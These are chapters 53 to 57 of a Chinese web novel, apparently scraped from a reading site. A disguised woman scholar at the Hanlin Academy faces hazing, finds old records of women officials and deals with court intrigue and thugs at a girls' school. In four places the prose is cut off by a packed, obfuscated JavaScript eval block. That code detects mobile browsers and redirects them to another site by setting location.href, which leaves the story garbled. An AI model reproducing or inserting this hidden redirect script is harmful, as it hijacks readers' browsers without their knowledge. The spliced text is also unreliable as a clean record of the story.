她站了一会儿,回屋歇息。 明天,又是新的一天。 --- 而此时的谢府,气氛却不太好。 谢明远听着下人回报谢怀瑾授官的消息,脸色阴沉。翰林院庶吉士,从七品。品级不高,但那是翰林院,是清流聚集之地,是天子近臣的预备营。 谢怀瑾这一步,走得又稳又准。 “大少爷,老爷让您过去一趟。”管家来报。 谢明远起身去了书房。谢远山坐在那里,见他进来,直接问:“谢怀瑾那边,你打算怎么办?” “父亲放心。”谢明远垂眼,“翰林院不是那么好待的。儿子已经安排好了,有人会‘照顾’他。” “怎么照顾?” “他一个寒门庶子,在满是世家子弟的翰林院里,本就是异类。”谢明远冷笑,“只要稍加引导,自然会有人排挤他,孤立他。到时候他举步维艰,就知道家族的好了。” 谢远山沉吟片刻:“别闹太大,毕竟他是会元,又在翰林院。” “儿子明白。” 谢明远退下后,谢远山独自坐在书房里,看着跳动的烛火。 谢怀瑾…… 这个儿子,真是越来越让他看不懂了。 也罢,既然不能为他所用,那就……让他吃点苦头吧。 --- 公主府里,萧玉衡也在听回报。 “殿下,谢怀瑾今日授了翰林院庶吉士。周学士和李翰林那边,态度都比较冷淡。”幕僚低声禀报。 “意料之中。”萧玉衡端起茶杯,“翰林院那地方,最讲资历出身。他一个寒门会元,去了自然受排挤。” “要不要打声招呼……” “不用。”萧玉衡摇头,“这点风浪都经不住,也不值得我费心。让他自己闯,闯出来了,才是真本事。” 她顿了顿:“王家那边有什么动静?” “王家这几日频繁往二皇子府上走动。谢明远也在活动,似乎在翰林院那边安排了人手。” “盯着点。”萧玉衡放下茶杯,“别让他们闹得太过分。” “是。” 幕僚退下后,萧玉衡走到窗边,看着园子里的月色。 谢怀瑾,这把刀,还得再磨磨。 磨利了,才好用。 --- 这些,谢青梧都不知道。 她正躺在床上,想着明天要抄的书,要见的同僚,要应对的各种可能。 脑子很清醒,一点睡意也没有。 但她强迫自己闭上眼睛。 休息好,才能走更远的路。 53.初日寒 第二日,谢青梧到翰林院时,点卯的时辰还没到。 值房里只来了两个人,一个是昨日同屋的孙庶吉士,正低头整理笔墨。另一个是位老翰林,坐在靠里的位置,捧着一杯茶慢慢喝着。 谢青梧走到自己的位置坐下,取出今日要用的纸笔。孙庶吉士抬眼看了看她,没说话,又低下头去。 辰时正,周翰林来点卯。十几个庶吉士都到了,站成一排。周翰林拿着名册,一个个念过去,念到谢青梧时,顿了一下,抬眼看了她一眼。 “谢怀瑾。” “在。” 周翰林没说什么,继续往下念。点完卯,他合上名册:“今日还是整理旧档。谢怀瑾,你去东边第三排书架,把那里前朝的地方志都整理一遍,重新编目。” 东边第三排书架,在藏书阁最里面,光线暗,灰尘厚。谢青梧应了声是,转身去了。 她走后,周翰林对剩下的人道:“你们去西边,整理近年的奏折抄本。” 西边靠窗,亮堂,通风好。几个庶吉士交换了个眼神,都没说话。 谢青梧走到东边第三排书架前,果然积了厚厚一层灰。书架上堆满了书,有些都散开了,纸页凌乱。她找了块布,打了水,开始擦拭。 灰尘飞扬,她掩住口鼻,一本本把书取下来,清理干净,按年代排序。有些书破损得厉害,她就小心修补。动作不快,但很稳。 一上午过去,她才整理完两个书架。手上脸上都沾了灰,衣裳也脏了。她去井边打了水,简单洗了洗,回去继续干。 午时用饭,庶吉士们聚在饭堂。谢青梧进去时,已经坐了好几桌。她找了张空桌坐下,安静吃饭。 旁边一桌人正在说话,声音不大,但能听见。 “……东边那排书架,多少年没人动了。” “周大人这是要磨他的性子吧。毕竟是会元,年轻气盛。” “磨一磨也好,省得不知天高地厚。” 谢青梧低头吃饭,像没听见。 吃完饭,她回去继续整理。下午又清理了两个书架,把所有书都排好,开始编目。编目要写清楚书名,年代,内容概要。她做得仔细,一字一句,工工整整。 酉时散值,周翰林来查看。看到东边书架焕然一新,书目也编得清楚,点了点头:“明日继续。” “是。” 谢青梧收拾东西离开。走出翰林院时,孙庶吉士从后面赶上来,与她并肩走了一段,忽然低声道:“周大人不是针对你。” 谢青梧转头看他。 “那排书架,本来是该大家一起整理的。”孙庶吉士说,“但你是会元,又这么年轻,他们……想看看你的耐性。” “我明白。”谢青梧道,“多谢孙兄告知。” 孙庶吉士摆摆手:“我也帮不上什么,就是提醒你一句。翰林院这地方,资历比什么都重要。你刚来,低调些好。” 两人在岔路口分开。谢青梧独自往回走,春日的夕阳把影子拉得很长。 她当然知道周翰林是在磨她。不只是周翰林,那些老翰林,那些同期庶吉士,都在看着。看她这个十五岁的会元,是不是真的沉得住气,是不是真的能吃苦。 那就让他们看吧。 她不怕吃苦,也不怕磨。南下江州那么险的路都走过来了,整理几排书架算什么。 回到住处,李婶见她一身灰,吓了一跳:“公子这是怎么了?” “整理旧书,沾了灰。”谢青梧笑笑,“没事,洗洗就好。” 李婶忙去烧水。谢青梧换了衣裳,坐在院里等。夕阳完全落下去了,天边还有一抹余晖。 她想起白日里那些话,那些眼神。轻视,试探,排挤。这一切都在意料之中,她早有准备。 只是没想到,会来得这么快,这么直白。 也好。快刀斩乱麻,总比暗地里使绊子强。 水烧好了,她洗了澡,换了干净衣裳。李婶端上晚饭,一边布菜一边念叨:“公子在翰林院受委屈了?” “没有。”谢青梧拿起筷子,“就是些寻常差事。” “那就好。”李婶松口气,“我就怕那些人欺负公子年轻。” “没人能欺负我。”谢青梧平静地说,“李婶放心。” 吃完饭,她回屋点上灯。桌上还摊着昨日没看完的书,她拿起来继续看。字句在眼前跳动,心思却飘远了。 翰林院这潭水,比她想得还深。周翰林的磨砺,同期的排挤,这些都只是表面。底下还有什么?派系?站队?还是更复杂的东西? 她不知道,但得慢慢摸清楚。 正想着,窗外传来极轻的叩击声。三下,停,又三下。 是云知意的人。 她起身开窗,一个纸卷扔进来,窗外的黑影一闪就不见了。她关好窗,展开纸卷。 上面只有一行字:“王家加紧串联,二皇子府近日多客。” 她将纸卷凑到灯上烧了,看着灰烬落下。 王家在活动,二皇子也在活动。他们想干什么?是针对她,还是针对公主?或者,是针对即将到来的什么? 她不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019266|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,但得做好准备。 吹灭灯,躺到床上。夜色深沉,远处传来隐约的打更声。 一天结束了,新的一天又要开始。 翰林院的路,还长着呢。 慢慢走。 --- 次日,谢青梧照旧早早到了翰林院。 周翰林还是让她去整理旧书。东边的书架清理完了,又让她去北边。北边更偏,更暗,书也更乱。 她没说什么,挽起袖子就开始干。 几个庶吉士从旁边经过,有人低声笑:“会元又去搬砖了。” 她头也不抬,专心手里的活。 上午整理了两个书架,下午继续。酉时前,周翰林来查看,看到她整理好的书目,字迹工整,条目清晰,沉默了一会儿。 “明日开始,你跟着陈翰林修史。” 陈翰林是翰林院里修前朝史的主笔之一,脾气古怪,要求极严。让他带新人,是看重,也是考验。 谢青梧应下:“是。” 周翰林看着她,忽然道:“谢怀瑾,翰林院不是国子监。这里不讲文章才学,只讲踏实勤勉。你明白吗?” “学生明白。” “明白就好。”周翰林摆摆手,“去吧。” 谢青梧行礼离开。走出藏书阁时,夕阳正好,照在翰林院的青砖地上,一片暖黄。 她知道周翰林的话是什么意思。翰林院看重的是耐性,是沉稳,是能坐冷板凳的功夫。才学再高,心浮气躁,在这里也待不住。 而她,最不缺的就是耐性。 回到值房,孙庶吉士正在收拾东西,见她回来,低声道:“陈翰林不好相处,你小心些。” “多谢孙兄提醒。” “不过跟着他能学到真东西。”孙庶吉士又说,“陈翰林虽然严厉,但有本事。你好好学,没错。” “我明白。” 两人一起走出翰林院。门口遇见几个同期庶吉士,正说笑着往外走。看见他们,笑声停了停,又继续。 孙庶吉士叹口气,没说什么。 谢青梧面色如常,与他道别,独自往回走。 街上的灯火次第亮起,照亮归家的路。 她走得不快,脑子里却在想明天见陈翰林的事。修史,这是她真正想做的事。通过史书,了解前朝,了解制度,了解兴衰。 也了解……那些被埋没的,被遗忘的。 她抬头看天,星星出来了,一颗一颗,清冷坚定。 像她脚下的路。 再难,也得走下去。 54.故纸拾遗 陈翰林给谢青梧派的第一个差事,是整理前朝旧档。 这些档案堆在翰林院藏书阁最深处的一个隔间里,几十年没人动过。推开门,灰尘扑面而来。谢青梧掩住口鼻,等尘埃落定,才走进去。 隔间不大,三面墙都是书架,堆满了卷宗册子。有些装订散了,纸页散落一地。窗子很小,光线昏暗,得点灯才能看清。 她搬了张凳子,把灯放在旁边,开始整理。 一卷一卷地看。大多是些寻常的文书,前朝的税赋记录,地方官员的奏报,还有朝廷的诏令抄本。她按年份整理,破损的就小心修补,散乱的重新装订。 一上午过去,只整理了两个书架。她手上沾满了灰,脖子也有些酸。起身活动了一下,继续。 午后,她翻到一摞用麻绳捆着的残卷。绳子已经朽了,一碰就断。她小心解开,发现是些前朝内廷的记录。 随手翻开一卷,上面写着些宫廷琐事。某月某日,某妃晋封。某月某日,皇帝赐宴。她快速浏览,正要合上,忽然看到一行字: “……内廷女史林氏,参录政事,勤勉有加,特赐帛三匹。” 女史?参录政事? 谢青梧心头一动,凑近灯前,仔细再看。没错,是“参录政事”。她连忙翻看其他卷宗,一卷卷找过去。 又找到几处。有一卷记着:“……江南水患,地方才女王氏,献赈济之策,活民数千,朝廷旌表。” 还有一卷:“……边关军务,女将秦氏率家丁协防,击退来犯,敕封诰命。” 零零散散,散落在各卷之中。若不仔细找,根本发现不了。而且记载都很简略,往往只有一两句话,淹没在浩如烟海的文书里。 谢青梧心跳加快了。 她知道前朝风气比本朝开放些,但没想到,竟真有女子参与政事、立功受奖的记录。虽然只是零星几笔,虽然只是特例,但至少说明,女子不是天生就不能做事。 她把这些卷宗单独拿出来,小心摊开,一字一句地抄录。灯下,笔尖划过纸张,沙沙作响。每抄一句,心里的信念就更坚定一分。 原来,历史上有过这样的人。有过女子参与政事,有过女子献策立功,有过女子得到朝廷认可。 只是后来,这些记载被遗忘了,被埋没了。就像这些卷宗,被堆在这个角落,几十年无人问津。 但她找到了。 她小心地把抄录的纸页收好,放进怀里。又把那些残卷重新整理,放回原处。动作很轻,像对待珍宝。 做完这些,天已经暗了。她吹灭灯,走出隔间,锁上门。 回到值房,孙庶吉士已经走了。她坐下,从怀里取出那些抄录的纸页,又看了一遍。 字迹清晰,白纸黑字,记录着曾经发生过的事。 她看着看着,嘴角微微扬起。 原来,她不是第一个。 原来,这条路,前人走过。 虽然走的人少,虽然路难走,但至少证明,路是通的。 她收好纸页,收拾东西离开。走出翰林院时,暮色四合,街上灯火渐起。 她走得不快,心里却比来时踏实了许多。 历史给了她答案,也给了她力量。 回到住处,李婶已经备好晚饭。她吃了饭,回到屋里,点上灯,把那些抄录的纸页又拿出来。 这次看得更仔细。她发现,那些女子的事迹,大多发生在朝局动荡或者天灾人祸的时候。大概是那时实在缺人,或者实在没办法,才让女子有机会站出来。 但机会抓住了,就是抓住了。 她们用行动证明,女子可以做事,可以做好事。 谢青梧提笔,在旁边写下几行小字: “前朝旧档,见女史录政,才女献策,女将协防。虽零星散落,足证女子之能。今世禁锢更甚,然星火未灭。既前人有迹,后人当继之。” 写罢,她放下笔,看着那些字。 心里那团火,烧得更旺了。 她知道,只凭这些零星记载,改变不了什么。但至少,她有了依据。当有人质疑女子能不能做事时,她可以拿出这些记载,说:看,前人做过,而且做成了。 这比空谈道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019267|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有力得多。 她小心地把纸页收好,锁进箱子里。这是她的宝贝,也是她的武器。 吹灭灯,躺到床上。窗外很静,只有风声。 她闭上眼睛,脑子里却还在想那些记载。 女史林氏,参录政事。才女王氏,献策赈灾。女将秦氏,协防守边。 她们叫什么名字?长什么样子?经历过什么?史书没有详记,只有寥寥几笔。 但够了。 知道她们存在过,就够了。 她翻了个身,面朝墙壁。 前路还长,但她不孤单。 历史深处,有同行者。 --- 次日,谢青梧照常去翰林院。 陈翰林见到她,问:“旧档整理得如何了?” “回大人,整理了三成。”谢青梧答道,“学生发现一些有趣的前朝记载,关于女子参政立功的。” 陈翰林看了她一眼:“那些啊,零星记载,不足为凭。前朝礼崩乐坏,才有那些事。本朝讲究礼法,不会再有。” “学生明白。”谢青梧垂眼,“只是觉得,能做事总是好的。不论男女。” 陈翰林没接话,摆摆手:“继续整理吧。修史要严谨,那些零星记载,记下就是,不必深究。” “是。” 谢青梧退下,回到隔间。她知道陈翰林的意思,那些记载,在正统史家眼里,不过是些“奇闻异事”,不值得多费笔墨。 但她不这么认为。 她继续整理,更加仔细。每翻一卷,都留心有没有类似的记载。又找到了几处,都很简略,但她都一一抄录。 一天下来,又积累了十几条。 晚上回家,她继续整理这些抄录。按时间排序,按事迹分类。虽然零散,但拼凑起来,也能看出一些脉络。 前朝确实有过女子参与公共事务的时期,虽然短暂,虽然局限,但确实存在。 这就够了。 她收好这些纸页,吹灭灯。 窗外,月亮很亮。 照亮前路,也照亮来路。 55.茶约知音 公主府的请帖送来的那日,正好是休沐。 谢青梧换了身干净的青衫,跟着来接的内侍去了公主府。还是那间暖阁,茶已经沏好了,是上好的龙井,清香四溢。 萧玉衡今日穿得素雅,月白的褙子,发间只簪一支玉钗。见谢青梧进来,笑着招手:“坐。尝尝这茶,新贡的。” 谢青梧行礼坐下,端起茶杯。茶汤清亮,入口回甘。她慢慢品着,没急着说话。 萧玉衡也不催,自顾自说着闲话:“翰林院如何?可还习惯?” “尚好。”谢青梧放下茶杯,“周大人严谨,陈翰林博学,学生受益匪浅。” “那就好。”萧玉衡看着她,“我听说,你在整理前朝旧档?可有什么发现?” 来了。 谢青梧抬眼,正对上公主的目光。那眼神里有探究,也有期待。她知道公主想问什么。 “确实有些发现。”她缓缓道,“前朝旧档里,有几处记载,关于女子参政立功的。” 萧玉衡端茶的手顿了顿:“哦?” “都是零星记载,不太起眼。”谢青梧说,“有女史参录政事,有才女献策赈灾,还有女将协防守边。虽然简略,但确有其事。” 暖阁里静了一瞬。萧玉衡放下茶杯,眼神深了些:“前朝……确实比本朝开明些。” “学生倒觉得,不是开明不开明的问题。”谢青梧看着她,“是需不需要的问题。那些记载,大多发生在朝局动荡或者天灾人祸时。大概那时实在缺人,或者实在没办法,才让女子有机会站出来。” 她顿了顿:“但机会抓住了,就是抓住了。她们用行动证明,女子可以做事,可以做好事。” 萧玉衡没说话,手指在杯沿轻轻摩挲。 谢青梧继续道:“学生读史时,常想一个问题。天下人才,本当唯才是用。可为何女子有才,却只能困于内宅?难道女子的才德,就比男子差吗?” 她看向公主:“殿下觉得呢?” 萧玉衡笑了,笑容里有些苦涩:“怀瑾,你这个问题,我也问过自己很多次。可答案呢?没有答案。这世道就是这样,女子再有才,也只能相夫教子。纵是公主之尊,也不过是个摆设。” “那是因为史笔遗珠。”谢青梧轻声说,“前朝那些女子的事迹,被埋没在故纸堆里,几十年无人问津。若不是学生偶然发现,只怕永远无人知晓。可她们确实存在过,确实做过事。这就证明,女子不是不能,而是不被允许。” 暖阁里又静下来。窗外的阳光透过纱帘照进来,在两人之间投下斑驳的光影。 过了许久,萧玉衡才开口:“怀瑾,你知道我为何看重你吗?” “学生不知。” “因为你敢想,也敢说。”萧玉衡看着她,“满朝文武,哪个不知道女子处境?可谁敢说出来?谁敢质疑这千百年的规矩?只有你,一个十五岁的少年,敢在策论里隐含此意,敢在我面前直言不讳。” 她端起茶杯,又放下:“有时候我真羡慕你。男子之身,可以读书科举,可以入朝为官,可以施展抱负。而我呢?空有公主之名,却连这府门都难出。” 谢青梧心里一动。她知道公主说的是实话。本朝公主,看似尊贵,实则处处受限。不能干政,不能结交外臣,甚至不能随意出府。 “殿下,”她斟酌着开口,“学生以为,规矩是人定的,也能由人改。前朝能有女子参政,本朝为何不能?即便不能明着来,暗地里……总有机会。” 萧玉衡眼睛亮了:“比如?” “比如慈济堂。”谢青梧说,“殿下以行善之名,办女学,教女子识字明理。这虽然只是小事,但星星之火,可以燎原。只要做下去,总能改变些什么。” “你说得对。”萧玉衡点头,“只是这条路,太难走了。前些日子女学被地痞骚扰,你也知道。背后是谁指使,你我都清楚。” “学生知道。”谢青梧平静道,“但他们越阻拦,越说明我们做对了。若是无关紧要的事,他们何必费心?” 萧玉衡笑了,这次笑容真切了许多:“怀瑾,你总是这么清醒。” 两人又说了会儿话,话题从女学说到朝局,又从朝局说到王家。谢青梧把最近云知意传来的消息说了,萧玉衡听得认真。 “王家最近确实活动频繁。”萧玉衡沉吟道,“二皇子那边也在加紧布置。怀瑾,你最近要格外小心。你在明处,他们在暗处。” “学生明白。” 正事说完,萧玉衡忽然问:“你和云姑娘,近来可常见?” 谢青梧心头微动。公主突然问起云知意…… “云姑娘帮了学生很多。”她谨慎答道,“南下江州,若无她相助,学生恐怕回不来。” “她是该帮你。”萧玉衡笑了笑,“你可知道她为何帮你?” “学生……不知。”谢青梧实话实说,“云姑娘从未提过缘由。学生也曾疑惑,她一个琴师,为何有如此大的能量。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027474|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧玉衡看着她,眼神复杂:“因为她不只是琴师。” 暖阁里静了一瞬。谢青梧等着下文,但萧玉衡没有继续说下去,只道:“有些事,你现在不知道为好。等时机到了,自然明白。你只需记住,云姑娘是可信之人,她帮你,既是帮我,也是帮她自己。” 这话说得含糊,但信息量很大。谢青梧心里瞬间转过许多念头。 云知意不只是琴师。她帮自己,既是帮公主,也是帮自己。这说明云知意有自己的目的,而且这目的与公主一致。 会是什么目的? 谢青梧想起云知意给她的那些帮助,那些情报,那些药丸。若只是一个普通琴师,绝做不到这些。除非……云知意背后有更大的势力。 听雪楼? 她忽然想起那个名字。云知意提过一次,说是收集情报的地方。难道云知意是听雪楼的人?听雪楼又是什么来头? 疑问一个接一个,但她没问出口。既然公主说时机未到,那她就等。 “学生明白了。”她垂眼道,“多谢殿下提点。” 萧玉衡点点头,又转了话题:“前朝那些记载,你整理一份给我。有些事,知道总比不知道好。” “是。” 茶凉了,两人又说了会儿话,谢青梧便告辞了。走出公主府时,天色已近黄昏。 她独自往回走,脑子里还在想刚才的对话。 公主对女子处境的感慨,是真心的。那些话里的苦涩,装不出来。她是真的想改变,真的不甘心只做个摆设。 而云知意……谢青梧想起那双沉静的眼睛,想起那些恰到好处的帮助。这个女子,比她想的还要复杂。 但至少,她们是站在一边的。 这就够了。 她加快脚步,回到住处。李婶已经备好晚饭,见她回来,笑道:“公主府来请,可是有好事?” “只是喝茶说话。”谢青梧坐下,“李婶,我饿了。” “饭马上好。” 吃完饭,她回到屋里,点上灯。从箱子里取出那些抄录的纸页,又看了一遍。 前朝女史,才女,女将。 她们存在过,努力过,也被遗忘了。 但历史记得。 她提起笔,开始整理。按时间,按事迹,一条条列清楚。字迹工整,一丝不苟。 这是给公主的,也是给她自己的。 证明这条路,有人走过。 证明这个梦,可以做。 56.密报 翰林院散值的时候,天色已经暗了。 谢青梧收拾好东西,走出值房。春末的晚风还有些凉,她紧了紧衣襟,往宫外走。刚出翰林院大门,就看见一个熟悉的身影等在街对面。 是云知意身边那个叫阿七的护卫。 阿七见她出来,快步走过来,压低声音:“谢公子,姑娘让您去一趟春风阁,有急事。” 谢青梧心头一紧。云知意很少这么急地找她。 “现在?” “现在。” 她点点头,跟着阿七往春风阁去。路上没说话,脚步很快。到了春风阁,从侧门进去,直接上了二楼雅间。 云知意已经在等着了。屋里没点灯,只有窗外透进来的微弱天光。她坐在窗边,手里拿着一个细竹筒。 “坐。”云知意声音很低。 谢青梧在她对面坐下。云知意把竹筒推过来:“看看。” 她打开竹筒,倒出里面的纸条。借着窗外的光,看清了上面的字。字迹很密,写的是最近王家在京城的活动。 “……王家家主密会二皇子府长史三次……” “……王家派人暗中调查谢怀瑾在慈济堂女学之事……” “……二皇子党近期频繁联络都察院御史,疑有动作……” 一条条,看得谢青梧后背发凉。 王家果然在加紧活动。而且,他们已经盯上了慈济堂女学。 “消息可靠吗?”她放下纸条。 “可靠。”云知意说,“听雪楼在王家有眼线。这几条都是刚传回来的。王家最近动作很急,像是察觉到了什么。” 谢青梧沉默片刻:“他们察觉到了什么?” “不知道。”云知意摇头,“但肯定和你有关。你在江州拿了他们的证据,如今又中了会元,入了翰林。他们不放心你。” 她顿了顿:“尤其是慈济堂女学。王家现在到处找你的软肋,女学就是最明显的目标。那些孩子,那些女夫子,都是你的牵挂。” 谢青梧手指收紧。她确实牵挂女学。那是她和公主一起办起来的,那些女孩子好不容易有机会识字读书,若是因为她的事受到牵连…… “他们想怎么做?”她问。 “还不清楚。”云知意说,“但肯定是想拿女学做文章。或是污蔑女学有伤风化,或是找地痞骚扰,甚至可能……对女学生下手。” 谢青梧心一沉。 “你得早做打算。”云知意看着她,“女学那边,要么暂停,要么加强防备。不能再像现在这样松散。” “暂停……”谢青梧喃喃道,“那些孩子怎么办?她们刚读上书,若停了,可能就再没机会了。” “那也比出事强。”云知意声音冷静,“王家的人心狠手辣,什么事都做得出来。若真伤了孩子,你后悔都来不及。” 谢青梧知道她说得对。可要她因为怕事就暂停女学,她不甘心。 “我想想。”她低声说。 云知意没催她,只道:“消息我传到了,怎么做,你自己决定。但记住,安全第一。你现在不是一个人,你身后还有那些孩子,还有……公主。” 这话说得意味深长。谢青梧抬眼,看向云知意。 窗外的天光越来越暗,云知意的脸在阴影里有些模糊。但那双眼睛很亮,沉静而坚定。 “云姑娘,”谢青梧忽然问,“你和公主……到底是什么关系?” 云知意笑了,笑容里有些无奈:“现在还不是告诉你的时候。你只要知道,我和公主目标一致,帮你就是帮我们自己。” “听雪楼呢?”谢青梧又问,“听雪楼是什么?” “一个收集情报的地方。”云知意简单道,“我是听雪楼的人,公主……是听雪楼的朋友。” 她说得含糊,但谢青梧听懂了。听雪楼是一个情报组织,云知意是其中一员,公主与这个组织有合作。 难怪云知意能有这么多消息,难怪她能调动那么多资源。 “我明白了。”谢青梧点头,“多谢云姑娘提醒。女学的事,我会小心处理。” “好。”云知意起身,“我就不留你了,你早些回去。最近夜里少出门,王家可能派人盯着你。” “我知道。” 谢青梧起身告辞。走出春风阁时,天已经全黑了。街上行人稀少,只有几盏灯笼在风里摇晃。 她加快脚步往回走。脑子里还在想刚才那些消息。 王家盯上了女学。 二皇子党在活动。 她得想个办法,既保住女学,又不让孩子们受到伤害。 回到住处,李婶已经备好晚饭。见她脸色不好,小心地问:“公子,可是有什么烦心事?” “没事。”谢青梧坐下,“李婶,最近您出门也小心些。若是有生人在附近转悠,别理他们。” 李婶脸色一变:“有人要对公子不利?” “还不确定,但小心些总没错。” 李婶连连点头:“我晓得了。公子您也要小心,您现在是官身了,树大招风。” 吃完饭,谢青梧回到屋里。点上灯,铺开纸,开始写写画画。 女学现在有十五个学生,两个女夫子。苏静姝是负责的,另外还有一位严博士介绍的吴娘子。学生们每日上午来上课,下午回家。 如果暂停,这些孩子就得回家。有些家远的,可能就不来了。 如果不暂停,就得加强防备。请护卫?可女学本就没多少银子,请不起人。而且护卫进了女学,反而引人注目。 她想了很久,最后决定,先不暂停,但调整上课时间。 把集中上课改成分散教学。学生们分成几组,在不同时间过来。每次上课人数少,不起眼。再请两个可靠的街坊,在女学附近看着,有生人就提醒。 这样虽然麻烦,但至少安全些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027475|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她写好了计划,又想起云知意说的,王家可能对女学生下手。 这个最麻烦。学生们上下学路上,最容易出事。 她想了想,决定明天去找苏静姝商量。或许可以让学生们结伴回家,或者请家里人来接。 做完这些,已经是深夜了。她吹灭灯,躺到床上。 窗外很静,但她的心不静。 王家像一张网,正在慢慢收紧。而她,就在网中央。 她翻了个身,面朝墙壁。 不怕。 兵来将挡,水来土掩。 总会有办法的。 --- 第二天一早,谢青梧去了慈济堂。 苏静姝正在给学生们上课,见她来了,有些意外。谢青梧示意她继续,自己在门口等着。 下课后,苏静姝走过来:“谢公子怎么来了?可是有事?” “有点事想和你商量。”谢青梧低声说,“咱们里屋说话。” 两人进了里屋,关上门。谢青梧把王家盯上女学的事简单说了,没提细节,只说可能有麻烦。 苏静姝脸色变了:“那……那可怎么办?这些孩子好不容易有机会读书……” “我知道。”谢青梧说,“所以不能停。但得做些调整。” 她把昨晚想的计划说了。分散上课,结伴回家,找人看着。 苏静姝听完,想了想:“分散上课可以,我这边安排一下。结伴回家也好办,孩子们大多住得不远。只是找人看着……慈济堂没那么多银子。” “银子我来想办法。”谢青梧说,“你只管安排上课的事。另外,最近若有生人来打听女学,一概说不知道。” “我明白。”苏静姝点头,“谢公子放心,我会小心的。” “辛苦你了。”谢青梧看着她,“女学的事,让你费心了。” “公子说哪里话。”苏静姝笑了,“能让这些孩子识字读书,是我的心愿。您和公主给了我这个机会,我感激还来不及。” 两人又说了一会儿话,谢青梧才离开。 走出慈济堂时,阳光正好。院子里传来孩子们读书的声音,清脆稚嫩。 她站在门口听了一会儿,心里踏实了些。 总会有办法的。 她会保护好这些孩子,保护好这个小小的火种。 转身离开时,她眼角余光瞥见街角有个人影,一闪就不见了。 她脚步没停,继续往前走。 心里却警惕起来。 看来,王家的人已经到了。 她得更加小心了。 --- 翰林院里,谢青梧继续整理旧档。一切如常,没人看出她心里的波澜。 只是偶尔,她会想起那些消息,想起慈济堂的孩子们。 手里的笔顿了顿,又继续写。 风波要来,那就来吧。 她不怕。 57.女学风波 休沐日,谢青梧去了慈济堂。 她到的时候,上午的课刚结束。学生们三三两两往外走,苏静姝在门口送她们。见到谢青梧,苏静姝笑着迎上来:“谢公子来了。” “过来看看。”谢青梧点头,“这几日可还安稳?” “挺……”苏静姝话没说完,脸色忽然变了。 谢青梧顺着她的目光看去,街对面来了四五个人。都是二十来岁的汉子,穿得邋遢,走路歪歪扭扭,一看就不是善茬。 那几个人走到慈济堂门口,堵住了正要离开的几个女学生。为首的是个疤脸汉子,咧着嘴笑:“哟,小丫头们下学啦?读的什么书啊?给哥哥们念念?” 女学生们吓得往后缩。苏静姝赶紧上前,把孩子们护在身后:“你们是什么人?想干什么?” “不干什么。”疤脸汉子斜眼看她,“就是听说这儿有个女学,教小丫头们读书。我们好奇,过来看看。怎么,不让看?” “这是学堂,不是你们该来的地方。”苏静姝声音发紧,“请你们离开。” “离开?”另一个瘦子嗤笑,“这街是你家的?我们爱站哪儿站哪儿,你管得着?” 几个人围了上来,把苏静姝和女学生们堵在门口。有路人看见,远远站着,不敢过来。 谢青梧一直没说话,站在门内看着。她认出了那个疤脸汉子,是京城里有名的混混,外号王癞子,专干收钱闹事的勾当。 看来王家或者刘瑾,真的动手了。 她深吸一口气,走出门。 “几位好汉,”她声音不高,但清晰,“慈济堂是公主殿下设的善堂,女学是公主的善举。你们在这里闹事,是想打公主的脸吗?” 王癞子愣了一下,转头看她:“你谁啊?” “谢怀瑾。”她报上名字,“翰林院庶吉士。” “哟,还是个官儿。”王癞子上下打量她,眼神不屑,“怎么,官老爷想管闲事?” “不是管闲事。”谢青梧平静地说,“公主殿下心系百姓,设慈济堂救助贫苦,办女学教女子识字。这是天大的善举。你们在这里闹事,惊扰学生,毁谤女学,往小了说是扰乱京师治安,往大了说是藐视皇家威严。” 她顿了顿,目光扫过那几个人:“方才你们的言行,我已经记下了。若现在离开,我可以当没发生过。若继续闹事,我即刻去京兆尹衙门报案。到时候,可就不是几句话能了结的。” 王癞子脸色变了变。他收了钱来闹事,但没想到会碰上硬茬。谢怀瑾这个名字他听过,新科会元,翰林院的人。而且搬出了公主…… 他眼珠转了转,还想嘴硬:“吓唬谁呢?我们就是路过看看,犯什么法了?” “路过看看?”谢青梧冷笑,“堵在学堂门口,出言调戏女学生,这叫路过看看?好,既然你们觉得没事,那我们一起去衙门,请官老爷评评理。” 